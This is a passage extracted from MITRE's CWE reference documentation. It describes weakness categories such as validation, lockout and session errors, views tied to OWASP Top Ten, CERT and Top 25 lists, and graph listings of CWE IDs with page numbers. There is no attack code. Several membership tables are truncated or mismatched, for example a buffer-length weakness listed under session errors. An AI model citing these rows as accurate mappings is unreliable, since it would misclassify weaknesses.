Weaknesses in this category are related to a software system's components for input validation, output validation, or other kinds of validation. Validation is a frequently-used technique for ensuring that data conforms to expectations before it is further processed as input or output. There are many varieties of validation (see CWE-20, which is just for input validation). Validation is distinct from other techniques that attempt to modify data before processing it, although developers may consider all attempts to product "safe" inputs or outputs as some kind of validation. Regardless, validation is a powerful tool that is often used to minimize malformed data from entering the system, or indirectly avoid code injection or other potentially-malicious patterns when generating output. The weaknesses in this category could lead to a degradation of the quality of data flow in a system if they are not addressed.

Nature	Type	ID	Name	V	Page
HasMember	B	1173	Improper Use of Validation Framework	699	1722

Notes

Relationship

CWE-20 (Improper Input Validation) is not included in this category because it is a Class level, and this category focuses more on Base level weaknesses. Also note that other kinds of weaknesses besides improper validation are included as members of this category.

Category-1216: Lockout Mechanism Errors

Category ID : 1216 **Status:** Draft

Summary

Weaknesses in this category are related to a software system's lockout mechanism. Frequently these deal with scenarios that take effect in case of multiple failed attempts to access a given resource. The weaknesses in this category could lead to a degradation of access to system assets if they are not addressed.

Membership

Nature	Type	ID	Name	V	Page

Category-1217: User Session Errors

Category ID : 1217 **Status:** Draft

Summary

Weaknesses in this category are related to session management. Frequently these deal with the information or status about each user and their access rights for the duration of multiple requests. The weaknesses in this category could lead to a degradation of the quality of session management if they are not addressed.

Membership

HasMember	B	805	Buffer Access with Incorrect Length Value	699	1497

Category-1219: File Handling Issues

Category ID : 1219 **Status:** Draft

Summary

Weaknesses in this category are related to the handling of files within a software system. Files, directories, and folders are so central to information technology that many different weaknesses and variants have been discovered.

View-629: Weaknesses in OWASP Top Ten (2007)

View ID : 629 **Status:** Obsolete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Notes

Relationship

The relationships in this view are a direct extraction of the CWE mappings that are in the 2007 OWASP document. CWE has changed since the release of that document.

Notes

Maintenance

This view is effectively obsolete, although it is probably still in active use by CWE consumers. In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). The data was made publicly available beginning in 2008. In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

View-699: Software Development

View ID : 699 **Status:** Draft
Type : Graph

Objective

This view organizes weaknesses around concepts that are frequently used or encountered in software development. This includes all aspects of the software development lifecycle including both architecture and implementation. Accordingly, this view can align closely with the perspectives of architects, developers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

Audience

Software Developers

Software developers (including architects, designers, coders, and testers) use this view to better understand potential mistakes that can be made in specific areas of their software application. The use of concepts that developers are familiar with makes it easier to navigate this view, and filtering by Modes of Introduction can enable focus on a specific phase of the development lifecycle.

Educators

Educators use this view to teach future developers about the types of mistakes that are commonly made within specific parts of a codebase.

Notes

Other

The top level categories in this view represent commonly understood areas/terms within software development, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by

exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

View-700: Seven Pernicious Kingdoms

View ID : 700 **Status:** Incomplete
Type : Graph

Objective

This view (graph) organizes weaknesses using a hierarchical structure that is similar to that used by Seven Pernicious Kingdoms.

Audience

Software Developers

This view is useful for developers because it is organized around concepts with which developers are familiar, and it focuses on weaknesses that can be detected using source code analysis tools.

Membership

View-711: Weaknesses in OWASP Top Ten (2004)

View ID : 711 **Status:** Obsolete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2004, and as required for compliance with PCI DSS version 1.1. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2004 version), providing a good starting point for web application developers who want to code more securely, as well as complying with PCI DSS 1.1.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten, providing customers with a way of asking their software developers to follow minimum expectations for secure code, in compliance with PCI-DSS 1.1.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students. However, the 2007 version (CWE-629) might be more appropriate.

Membership

Nature	Type	ID	Name	Page
HasMember	C	731	OWASP Top Ten 2004 Category A10 - Insecure Configuration Management	1880

Notes

Relationship

CWE relationships for this view were obtained by examining the OWASP document and mapping to any items that were specifically mentioned within the text of a category. As a result, this mapping is not complete with respect to all of CWE. In addition, some concepts were mentioned in multiple Top Ten items, which caused them to be mapped to multiple CWE categories. For example, SQL injection is mentioned in both A1 (CWE-722) and A6 (CWE-727) categories.

Maintenance

Some parts of CWE are not fully fleshed out in terms of weaknesses. When these areas were mentioned in the Top Ten, category nodes were mapped, although general mapping practice would usually favor mapping only to weaknesses.

View-734: Weaknesses Addressed by the CERT C Secure Coding Standard (2008)

View ID : 734 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the book "The CERT C Secure Coding Standard" published in 2008. This view is considered obsolete as a newer version of the coding standard is available.

Audience

Software Developers

By following the CERT C Secure Coding Standard, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the CERT C Secure Coding standard, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

HasMember	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	1891

Notes

Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

Maintenance

This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2008.

View-750: Weaknesses in the 2009 CWE/SANS Top 25 Most Dangerous Programming Errors

View ID : 750 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are listed in the 2009 CWE/SANS Top 25 Programming Errors. This view is considered obsolete as a newer version of the Top 25 is available.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

Notes

Relationship

The relationships in this view were determined based on specific statements within the rules from the standard. Not all rules have direct relationships to individual weaknesses, although they likely have chaining relationships in specific circumstances.

Maintenance

This view is no longer being actively maintained, since it statically represents the coding rules as they were in 2016.

View-884: CWE Cross-section

View ID : 884 **Status:** Incomplete
Type : Explicit

Objective

This view contains a selection of weaknesses that represent the variety of weaknesses that are captured in CWE, at a level of abstraction that is likely to be useful to most audiences. It can be used by researchers to determine how broad their theories, models, or tools are. It will also be used by the CWE content team in 2012 to focus quality improvement efforts for individual CWE entries.

View-900: Weaknesses in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors

View ID : 900 **Status:** Obsolete
Type : Graph

Objective

CWE entries in this view (graph) are listed in the 2011 CWE/SANS Top 25 Most Dangerous Software Errors.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

View-928: Weaknesses in OWASP Top Ten (2013)

View ID : 928 **Status:** Obsolete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2013. This view is considered obsolete as a newer version of the OWASP Top Ten is available.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2013 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Notes

Relationship

The relationships in this view have been pulled directly from the 2013 OWASP Top 10 document, either from the explicit mapping section, or from weakness types alluded to in the written sections.

View-999: Weaknesses without Software Fault Patterns

View ID : 999 **Status:** Incomplete
Type : Implicit

Objective

CWE identifiers in this view are weaknesses that do not have associated Software Fault Patterns (SFPs), as covered by the CWE-888 view. As such, they represent gaps in coverage by the current software fault pattern model.

Audience

Applied Researchers

Academic Researchers

Product Vendors

View-1000: Research Concepts

View ID : 1000 **Status:** Draft
Type : Graph

Objective

This view is intended to facilitate research into weaknesses, including their inter-dependencies, and can be leveraged to systematically identify theoretical gaps within CWE. It is mainly organized according to abstractions of behaviors instead of how they can be detected, where they appear in code, and when they are introduced in the development life cycle.

Audience

Academic Researchers

Academic researchers can use the high-level classes that lack a significant number of children to identify potential areas for future research.

Vulnerability Analysts

Those who perform vulnerability discovery/analysis use this view to identify related weaknesses that might be leveraged by following relationships between higher-level classes and bases.

Assessment Tool Vendors

Assessment vendors often use this view to help identify additional weaknesses that a tool may be able to detect as the relationships are more aligned with a tool's technical capabilities.

Membership

HasMember	P	707	Improper Neutralization	1362
HasMember	P	710	Improper Adherence to Coding Standards	1365

Notes

Other

This view uses a deep hierarchical organization, with more levels of abstraction than other classification schemes. The top-level entries are called Pillars. Where possible, this view uses abstractions that do not consider particular languages, frameworks, technologies, life cycle development phases, frequency of occurrence, or types of resources. It explicitly identifies relationships that form chains and composites, which have not been a formal part of past classification efforts. Chains and composites might help explain why mutual exclusivity is difficult to achieve within security error taxonomies. This view is roughly aligned with MITRE's research into vulnerability theory, especially with respect to behaviors and resources. Ideally, this view will only cover weakness-to-weakness relationships, with minimal overlap and zero categories.

View-1003: Weaknesses for Simplified Mapping of Published Vulnerabilities

View ID : 1003 **Status:** Incomplete
Type : Graph

Objective

CWE entries in this view (graph) may be used to categorize potential weaknesses within sources that handle public, third-party vulnerability information, such as the National Vulnerability Database (NVD). By design, this view is incomplete; it is limited to a small number of the most commonly-seen weaknesses, so that it is easier for humans to use. This view uses a shallow hierarchy of two levels in order to simplify the complex, category-oriented navigation of the entire CWE corpus.

View-1008: Architectural Concepts

View ID : 1008 **Status:** Incomplete
Type : Graph

Objective

This view organizes weaknesses according to common architectural security tactics. It is intended to assist architects in identifying potential mistakes that can be made when designing software.

Audience

Software Developers

Architects that are part of a software development team may find this view useful as the weaknesses are organized by known security tactics, aiding the arcitect in embedding security throughout the design process instead of discovering weaknesses after the software has been built.

Educators

Educators may use this view as reference material when discussing security by design or architectural weaknesses, and the types of mistakes that can be made.

Membership

Notes

Other

The top level categories in this view represent the individual tactics that are part of a secure-by-design approach to software development. The weaknesses that are members of each category contain information about how each is introduced relative to the software's architecture. Three different modes of introduction are used: Omission - caused by missing a security tactic when it is necessary. Commission - refers to incorrect choice of tactics which could result in undesirable consequences. Realization - appropriate security tactics are adopted but are incorrectly implemented.

View-1026: Weaknesses in OWASP Top Ten (2017)

View ID : 1026 **Status:** Incomplete
Type : Graph

Objective

CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2017.

Audience

Software Developers

This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing a good starting point for web application developers who want to code more securely.

Product Customers

This view outlines the most important issues as identified by the OWASP Top Ten (2017 version), providing product customers with a way of asking their software development teams to follow minimum expectations for secure code.

Educators

Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

Membership

View-1040: Quality Weaknesses with Indirect Security Impacts

View ID : 1040 **Status:** Incomplete
Type : Implicit

Objective

CWE identifiers in this view (slice) are quality issues that only indirectly make it easier to introduce a vulnerability and/or make the vulnerability more difficult to detect or mitigate.

Audience

Assessment Tool Vendors

This view makes it easier for assessment vendors to identify and improve coverage for quality-related weaknesses.

Software Developers

This view makes it easier for developers to identify and learn about issues that might make their code more difficult to maintain, perform efficiently or reliably, or secure.

Product Vendors

This view makes it easier for software vendors to identify important issues that may make their software more difficult to maintain, perform efficiently or reliably, or secure.

View-1128: CISQ Quality Measures (2016)

View ID : 1128 **Status:** Incomplete
Type : Graph

Objective

This view outlines the most important software quality issues as identified by the Consortium for Information & Software Quality (CISQ) Automated Quality Characteristic Measures, released in 2016. These measures are derived from Object Management Group (OMG) standards.

Audience

Software Developers

This view provides a good starting point for anyone involved in software development (including architects, designers, coders, and testers) to ensure that code quality issues are considered during the development process.

Product Vendors

This view can help product vendors understand code quality issues and convey an overall status of their software.

Assessment Tool Vendors

This view provides a good starting point for assessment tool vendors (e.g., vendors selling static analysis tools) who wish to understand what constitutes software with good code quality, and which quality issues may be of concern.

View-1133: Weaknesses Addressed by the SEI CERT Oracle Coding Standard for Java

View ID : 1133 **Status:** Stable

Type : Graph

Objective

CWE entries in this view (graph) are fully or partially eliminated by following the guidance presented in the online wiki that reflects that current rules and recommendations of the SEI CERT Oracle Coding Standard for Java.

Audience

Software Developers

By following the SEI CERT Oracle Coding Standard for Java, developers will be able to fully or partially prevent the weaknesses that are identified in this view. In addition, developers can use a CWE coverage graph to determine which weaknesses are not directly addressed by the standard, which will help identify and resolve remaining gaps in training, tool acquisition, or other approaches for reducing weaknesses.

Product Customers

If a software developer claims to be following the SEI CERT Oracle Secure Coding Standard for Java, then customers can search for the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could link them to the relevant Secure Coding Standard.

View-1194: Hardware Design

View ID : 1194 **Status:** Incomplete
Type : Graph

Objective

This view organizes weaknesses around concepts that are frequently used or encountered in hardware design. Accordingly, this view can align closely with the perspectives of designers, manufacturers, educators, and assessment vendors. It provides a variety of categories that are intended to simplify navigation, browsing, and mapping.

Audience

Hardware Designers

Hardware Designers use this view to better understand potential mistakes that can be made in specific areas of their IP design. The use of concepts with which hardware designers are familiar makes it easier to navigate.

Educators

Educators use this view to teach future professionals about the types of mistakes that are commonly made in hardware design.

Notes

Other

The top level categories in this view represent commonly understood areas/terms within hardware design, and are meant to aid the user in identifying potential related weaknesses. It is possible for the same weakness to exist within multiple different categories.

Other

This view attempts to present weaknesses in a simple and intuitive way. As such it targets a single level of abstraction. It is important to realize that not every CWE will be represented in this view. High-level class weaknesses and low-level variant weaknesses are mostly ignored. However, by exploring the weaknesses that are included, and following the defined relationships, one can find these higher and lower level weaknesses.

View-1200: Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors

View ID : 1200 **Status:** Stable
Type : Graph

Objective

CWE entries in this view are listed in the 2019 CWE Top 25 Most Dangerous Software Errors.

Audience

Software Developers

By following the Top 25, developers will be able to significantly reduce the number of weaknesses that occur in their software.

Product Customers

If a software developer claims to be following the Top 25, then customers can use the weaknesses in this view in order to formulate independent evidence of that claim.

Educators

Educators can use this view in multiple ways. For example, if there is a focus on teaching weaknesses, the educator could focus on the Top 25.

  - CWE-301: Reflection Attack in an Authentication Protocol *(p.666)*
  - CWE-522: Insufficiently Protected Credentials *(p.1091)*
- CWE-719: OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage *(p.1873)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
- CWE-720: OWASP Top Ten 2007 Category A9 - Insecure Communications *(p.1873)*
  - CWE-311: Missing Encryption of Sensitive Data *(p.686)*
  - CWE-321: Use of Hard-coded Cryptographic Key *(p.709)*
  - CWE-325: Missing Required Cryptographic Step *(p.717)*
  - CWE-326: Inadequate Encryption Strength *(p.718)*
- CWE-721: OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access *(p.1874)*
  - CWE-285: Improper Authorization *(p.623)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*

Graph View: CWE-631: DEPRECATED: Resource-specific Weaknesses

Graph View: CWE-699: Software Development

- CWE-1228: API / Function Errors *(p.2019)*
  - CWE-242: Use of Inherently Dangerous Function *(p.536)*
  - CWE-474: Use of Function with Inconsistent Implementations *(p.1006)*
  - CWE-475: Undefined Behavior for Input to API *(p.1008)*
  - CWE-477: Use of Obsolete Function *(p.1015)*
  - CWE-676: Use of Potentially Dangerous Function *(p.1317)*
  - CWE-695: Use of Low-Level Functionality *(p.1347)*
  - CWE-749: Exposed Dangerous Method or Function *(p.1377)*
- CWE-1210: Audit / Logging Errors *(p.2012)*
  - CWE-117: Improper Output Neutralization for Logs *(p.266)*
  - CWE-222: Truncation of Security-relevant Information *(p.512)*
  - CWE-223: Omission of Security-relevant Information *(p.513)*
  - CWE-224: Obscured Security-relevant Information by Alternate Name *(p.515)*
  - CWE-532: Insertion of Sensitive Information into Log File *(p.1104)*
  - CWE-778: Insufficient Logging *(p.1444)*
  - CWE-779: Logging of Excessive Data *(p.1446)*
- CWE-1211: Authentication Errors *(p.2013)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-290: Authentication Bypass by Spoofing *(p.640)*
  - CWE-294: Authentication Bypass by Capture-replay *(p.647)*
  - CWE-295: Improper Certificate Validation *(p.648)*
  - CWE-296: Improper Following of a Certificate's Chain of Trust *(p.653)*
  - CWE-299: Improper Check for Certificate Revocation *(p.661)*
  - CWE-303: Incorrect Implementation of Authentication Algorithm *(p.670)*
  - CWE-304: Missing Critical Step in Authentication *(p.671)*
  - CWE-305: Authentication Bypass by Primary Weakness *(p.673)*
  - CWE-306: Missing Authentication for Critical Function *(p.674)*
  - CWE-307: Improper Restriction of Excessive Authentication Attempts *(p.678)*
  - CWE-308: Use of Single-factor Authentication *(p.682)*
  - CWE-309: Use of Password System for Primary Authentication *(p.684)*
  - CWE-322: Key Exchange without Entity Authentication *(p.711)*
  - CWE-603: Use of Client-Side Authentication *(p.1204)*
  - CWE-645: Overly Restrictive Account Lockout Mechanism *(p.1267)*
  - CWE-804: Guessable CAPTCHA *(p.1495)*
  - CWE-836: Use of Password Hash Instead of Password for Authentication *(p.1549)*
- CWE-1212: Authorization Errors *(p.2013)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
  - CWE-612: Improper Authorization of Index Containing Sensitive Information *(p.1217)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-939: Improper Authorization in Handler for Custom URL Scheme *(p.1614)*
  - CWE-842: Placement of User into Incorrect Group *(p.1562)*
  - CWE-1220: Insufficient Granularity of Access Control *(p.1735)*
- CWE-1006: Bad Coding Practices *(p.1961)*
  - CWE-478: Missing Default Case in Switch Statement *(p.1018)*
  - CWE-487: Reliance on Package-level Scope *(p.1038)*
  - CWE-489: Active Debug Code *(p.1042)*
  - CWE-546: Suspicious Comment *(p.1118)*
  - CWE-547: Use of Hard-coded, Security-relevant Constants *(p.1120)*
  - CWE-561: Dead Code *(p.1133)*
  - CWE-562: Return of Stack Variable Address *(p.1136)*
  - CWE-563: Assignment to Variable without Use *(p.1137)*
  - CWE-581: Object Model Violation: Just One of Equals and Hashcode Defined *(p.1167)*

- CWE-586: Explicit Call to Finalize() *(p.1174)*
- CWE-605: Multiple Binds to the Same Port *(p.1205)*
- CWE-621: Variable Extraction Error *(p.1231)*
- CWE-627: Dynamic Variable Evaluation *(p.1241)*
- CWE-628: Function Call with Incorrectly Specified Arguments *(p.1243)*
- CWE-694: Use of Multiple Resources with Duplicate Identifier *(p.1346)*
- CWE-1041: Use of Redundant Code *(p.1643)*
- CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements *(p.1645)*
- CWE-1044: Architecture with Number of Horizontal Layers Outside of Expected Range *(p.1646)*
- CWE-1045: Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor *(p.1647)*
- CWE-1046: Creation of Immutable Text Using String Concatenation *(p.1648)*
- CWE-1048: Invokable Control Element with Large Number of Outward Calls *(p.1650)*
- CWE-1049: Excessive Data Query Operations in a Large Data Table *(p.1651)*
- CWE-1050: Excessive Platform Resource Consumption within a Loop *(p.1652)*
- CWE-1063: Creation of Class Instance within a Static Code Block *(p.1665)*
- CWE-1065: Runtime Resource Management Control Element in a Component Built to Run on Application Servers *(p.1667)*
- CWE-1066: Missing Serialization Control Element *(p.1668)*
- CWE-1067: Excessive Execution of Sequential Searches of Data Resource *(p.1669)*
- CWE-1070: Serializable Data Element Containing non-Serializable Item Elements *(p.1671)*
- CWE-1071: Empty Code Block *(p.1672)*
- CWE-1072: Data Resource Access without Use of Connection Pooling *(p.1673)*
- CWE-1073: Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses *(p.1674)*
- CWE-1079: Parent Class without Virtual Destructor Method *(p.1680)*
- CWE-1082: Class Instance Self Destruction Control Element *(p.1682)*
- CWE-1084: Invokable Control Element with Excessive File or Data Access Operations *(p.1684)*
- CWE-1085: Invokable Control Element with Excessive Volume of Commented-out Code *(p.1685)*
- CWE-1087: Class with Virtual Method without a Virtual Destructor *(p.1687)*
- CWE-1089: Large Data Table with Excessive Number of Indices *(p.1689)*
- CWE-1091: Use of Object without Invoking Destructor Method *(p.1691)*
- CWE-1092: Use of Same Invokable Control Element in Multiple Architectural Layers *(p.1692)*
- CWE-1094: Excessive Index Range Scan for a Data Resource *(p.1694)*
- CWE-1097: Persistent Storable Data Element without Associated Comparison Control Element *(p.1697)*
- CWE-1098: Data Element containing Pointer Item without Proper Copy Control Element *(p.1698)*
- CWE-1099: Inconsistent Naming Conventions for Identifiers *(p.1699)*
- CWE-1101: Reliance on Runtime Component in Generated Code *(p.1700)*
- CWE-1102: Reliance on Machine-Dependent Data Representation *(p.1701)*
- CWE-1103: Use of Platform-Dependent Third Party Components *(p.1702)*
- CWE-1104: Use of Unmaintained Third Party Components *(p.1703)*
- CWE-1106: Insufficient Use of Symbolic Constants *(p.1704)*
- CWE-1107: Insufficient Isolation of Symbolic Constant Definitions *(p.1705)*
- CWE-1108: Excessive Reliance on Global Variables *(p.1706)*
- CWE-1109: Use of Same Variable for Multiple Purposes *(p.1707)*
- CWE-1113: Inappropriate Comment Style *(p.1709)*
- CWE-1114: Inappropriate Whitespace Style *(p.1710)*
- CWE-1115: Source Code Element without Standard Prologue *(p.1711)*
- CWE-1116: Inaccurate Comments *(p.1712)*
- CWE-1117: Callable with Insufficient Behavioral Summary *(p.1712)*
- CWE-1126: Declaration of Variable with Unnecessarily Wide Scope *(p.1720)*
- CWE-1127: Compilation with Insufficient Warnings or Errors *(p.1720)*
- CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations *(p.1754)*

- CWE-438: Behavioral Problems *(p.1867)*
  - CWE-115: Misinterpretation of Input *(p.259)*
  - CWE-179: Incorrect Behavior Order: Early Validation *(p.414)*
  - CWE-408: Incorrect Behavior Order: Early Amplification *(p.888)*
  - CWE-437: Incomplete Model of Endpoint Features *(p.946)*
  - CWE-439: Behavioral Change in New Version or Environment *(p.947)*
  - CWE-440: Expected Behavior Violation *(p.949)*
  - CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') *(p.952)*
  - CWE-480: Use of Incorrect Operator *(p.1023)*
  - CWE-483: Incorrect Block Delimitation *(p.1032)*
  - CWE-484: Omitted Break Statement in Switch *(p.1034)*
  - CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization *(p.1124)*
  - CWE-698: Execution After Redirect (EAR) *(p.1353)*
  - CWE-733: Compiler Optimization Removal or Modification of Security-critical Code *(p.1375)*
  - CWE-783: Operator Precedence Logic Error *(p.1453)*
  - CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop') *(p.1546)*
  - CWE-837: Improper Enforcement of a Single, Unique Action *(p.1550)*
  - CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*
  - CWE-1025: Comparison Using Wrong Factors *(p.1638)*
  - CWE-1037: Processor Optimization Removal or Modification of Security-critical Code *(p.1639)*
- CWE-840: Business Logic Errors *(p.1900)*
  - CWE-283: Unverified Ownership *(p.618)*
  - CWE-288: Authentication Bypass Using an Alternate Path or Channel *(p.636)*
  - CWE-639: Authorization Bypass Through User-Controlled Key *(p.1251)*
  - CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
  - CWE-708: Incorrect Ownership Assignment *(p.1363)*
  - CWE-770: Allocation of Resources Without Limits or Throttling *(p.1422)*
  - CWE-826: Premature Release of Resource During Expected Lifetime *(p.1525)*
  - CWE-837: Improper Enforcement of a Single, Unique Action *(p.1550)*
  - CWE-841: Improper Enforcement of Behavioral Workflow *(p.1559)*
- CWE-417: Communication Channel Errors *(p.1865)*
  - CWE-322: Key Exchange without Entity Authentication *(p.711)*
  - CWE-346: Origin Validation Error *(p.760)*
  - CWE-385: Covert Timing Channel *(p.842)*
  - CWE-419: Unprotected Primary Channel *(p.908)*
  - CWE-420: Unprotected Alternate Channel *(p.909)*
  - CWE-425: Direct Request ('Forced Browsing') *(p.915)*
  - CWE-515: Covert Storage Channel *(p.1087)*
  - CWE-924: Improper Enforcement of Message Integrity During Transmission in a Communication Channel *(p.1606)*
  - CWE-940: Improper Verification of Source of a Communication Channel *(p.1617)*
  - CWE-941: Incorrectly Specified Destination in a Communication Channel *(p.1619)*
- CWE-1226: Complexity Issues *(p.2018)*
  - CWE-1043: Data Element Aggregating an Excessively Large Number of Non-Primitive Elements *(p.1645)*
  - CWE-1047: Modules with Circular Dependencies *(p.1649)*
  - CWE-1055: Multiple Inheritance from Concrete Classes *(p.1657)*
  - CWE-1056: Invokable Control Element with Variadic Parameters *(p.1658)*
  - CWE-1060: Excessive Number of Inefficient Server-Side Data Accesses *(p.1662)*
  - CWE-1064: Invokable Control Element with Signature Containing an Excessive Number of Parameters *(p.1666)*
  - CWE-1074: Class with Excessively Deep Inheritance *(p.1675)*
  - CWE-1075: Unconditional Control Flow Transfer outside of Switch Block *(p.1676)*
  - CWE-1080: Source Code File with Excessive Number of Lines of Code *(p.1681)*
  - CWE-1086: Class with Excessive Number of Child Classes *(p.1686)*

- CWE-1095: Loop Condition Value Update within the Loop *(p.1695)*
- CWE-1119: Excessive Use of Unconditional Branching *(p.1714)*
- CWE-1121: Excessive McCabe Cyclomatic Complexity *(p.1716)*
- CWE-1122: Excessive Halstead Complexity *(p.1717)*
- CWE-1123: Excessive Use of Self-Modifying Code *(p.1717)*
- CWE-1124: Excessively Deep Nesting *(p.1718)*
- CWE-1125: Excessive Attack Surface *(p.1719)*

C CWE-557: Concurrency Issues *(p.1869)*
- CWE-363: Race Condition Enabling Link Following *(p.801)*
- CWE-364: Signal Handler Race Condition *(p.802)*
- CWE-365: Race Condition in Switch *(p.807)*
- CWE-366: Race Condition within a Thread *(p.809)*
- CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition *(p.812)*
- CWE-368: Context Switching Race Condition *(p.816)*
- CWE-386: Symbolic Name not Mapping to Correct Object *(p.844)*
- CWE-421: Race Condition During Access to Alternate Channel *(p.911)*
- CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context *(p.1144)*
- CWE-585: Empty Synchronized Block *(p.1172)*
- CWE-663: Use of a Non-reentrant Function in a Concurrent Context *(p.1290)*
- CWE-820: Missing Synchronization *(p.1512)*
- CWE-821: Incorrect Synchronization *(p.1514)*
- CWE-1058: Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element *(p.1660)*
- CWE-1088: Synchronous Access of Remote Resource without Timeout *(p.1688)*

C CWE-255: Credentials Management Errors *(p.1855)*
- CWE-256: Unprotected Storage of Credentials *(p.562)*
- CWE-257: Storing Passwords in a Recoverable Format *(p.564)*
- CWE-260: Password in Configuration File *(p.573)*
- CWE-261: Weak Encoding for Password *(p.575)*
- CWE-262: Not Using Password Aging *(p.577)*
- CWE-263: Password Aging with Long Expiration *(p.579)*
- CWE-324: Use of a Key Past its Expiration Date *(p.715)*
- CWE-521: Weak Password Requirements *(p.1089)*
- CWE-523: Unprotected Transport of Credentials *(p.1095)*
- CWE-549: Missing Password Field Masking *(p.1122)*
- CWE-620: Unverified Password Change *(p.1229)*
- CWE-640: Weak Password Recovery Mechanism for Forgotten Password *(p.1253)*
- CWE-798: Use of Hard-coded Credentials *(p.1486)*
- CWE-916: Use of Password Hash With Insufficient Computational Effort *(p.1594)*

C CWE-310: Cryptographic Issues *(p.1858)*
- CWE-261: Weak Encoding for Password *(p.575)*
- CWE-324: Use of a Key Past its Expiration Date *(p.715)*
- CWE-325: Missing Required Cryptographic Step *(p.717)*
- CWE-328: Reversible One-Way Hash *(p.726)*
- CWE-331: Insufficient Entropy *(p.736)*
- CWE-334: Small Space of Random Values *(p.742)*
- CWE-335: Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG) *(p.744)*
- CWE-338: Use of Cryptographically Weak Pseudo-Random Number Generator (PRNG) *(p.748)*
- CWE-347: Improper Verification of Cryptographic Signature *(p.764)*
- CWE-916: Use of Password Hash With Insufficient Computational Effort *(p.1594)*
- CWE-1240: Use of a Risky Cryptographic Primitive *(p.1759)*

C CWE-1214: Data Integrity Issues *(p.2014)*
- CWE-322: Key Exchange without Entity Authentication *(p.711)*
